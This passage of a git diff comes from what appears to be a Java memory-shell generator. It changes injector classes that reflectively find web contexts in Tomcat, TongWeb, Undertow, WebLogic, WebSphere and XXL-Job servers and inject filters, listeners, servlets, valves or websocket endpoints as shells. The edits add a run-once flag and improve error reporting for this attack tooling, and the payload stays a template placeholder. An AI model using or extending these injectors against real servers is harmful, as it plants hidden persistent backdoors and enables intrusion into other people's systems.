"[" + getUrlPattern() + "] ready\n"; @@ -50,6 +56,7 @@ public class TomcatServletInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index d5ae5619..33c886c3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream; public class TomcatValveInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public class TomcatValveInjector { } public TomcatValveInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public class TomcatValveInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index 1ee4817a..ca6be87c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream; public class TomcatWebSocketInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,16 +32,21 @@ public class TomcatWebSocketInjector { } public TomcatWebSocketInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -49,6 +55,7 @@ public class TomcatWebSocketInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 19aa77ac..f01b0d53 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -19,6 +19,7 @@ import java.util.zip.GZIPInputStream; public class TongWebFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -33,13 +34,18 @@ public class TongWebFilterInjector { } public TongWebFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { try { msg += ("context: [" + getContextRoot(context) + "] "); @@ -51,6 +57,7 @@ public class TongWebFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index 4f3ec80c..df480776 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream; public class TongWebListenerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public class TongWebListenerInjector { } public TongWebListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public class TongWebListenerInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 8e7f47bc..bfb3d1db 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream; public class TongWebValveInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public class TongWebValveInjector { } public TongWebValveInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public class TongWebValveInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index 00555273..0aa3a0b1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; */ public class UndertowFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public class UndertowFilterInjector { } public UndertowFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public class UndertowFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 7bb7f76a..43e400cb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -20,18 +20,32 @@ import java.util.zip.GZIPInputStream; public class UndertowListenerInjector { private String msg = ""; + private static boolean ok = false; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } public UndertowListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -40,6 +54,7 @@ public class UndertowListenerInjector { } } } + ok = true; System.out.println(msg); } @@ -60,14 +75,6 @@ public class UndertowListenerInjector { return c + "(" + r + ")"; } - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index 3786ecb0..12ca7ef5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream; public class UndertowServletInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -34,16 +35,21 @@ public class UndertowServletInjector { } public UndertowServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -52,6 +58,7 @@ public class UndertowServletInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index 7381ad12..3ba3eb9e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; public class WebLogicFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public class WebLogicFilterInjector { } public WebLogicFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public class WebLogicFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 9090eaf2..0a7bec85 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream; public class WebLogicListenerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -30,16 +31,21 @@ public class WebLogicListenerInjector { } public WebLogicListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -48,6 +54,7 @@ public class WebLogicListenerInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index 180142af..f66fe32c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -21,6 +21,7 @@ import java.util.zip.GZIPInputStream; public class WebLogicServletInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -35,16 +36,21 @@ public class WebLogicServletInjector { } public WebLogicServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -53,6 +59,7 @@ public class WebLogicServletInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index 1abfe7ad..10f9faef 100755 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -8,9 +8,7 @@ import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; import java.util.HashSet; -import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -24,6 +22,7 @@ import java.util.zip.GZIPInputStream; public class WebSphereFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -38,16 +37,21 @@ public class WebSphereFilterInjector { } public WebSphereFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -56,6 +60,7 @@ public class WebSphereFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index 8ae8874a..3c778260 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream; public class WebSphereListenerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -28,16 +29,21 @@ public class WebSphereListenerInjector { } public WebSphereListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -46,6 +52,7 @@ public class WebSphereListenerInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index 691a0702..57052361 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; public class WebSphereServletInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -29,16 +30,21 @@ public class WebSphereServletInjector { return "{{base64Str}}"; } public WebSphereServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -47,6 +53,7 @@ public class WebSphereServletInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java index 7d13f697..257940de 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java @@ -28,6 +28,7 @@ import java.util.zip.GZIPInputStream; */ public class XxlJobNettyHandlerInjector extends ChannelInitializer { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -38,12 +39,16 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer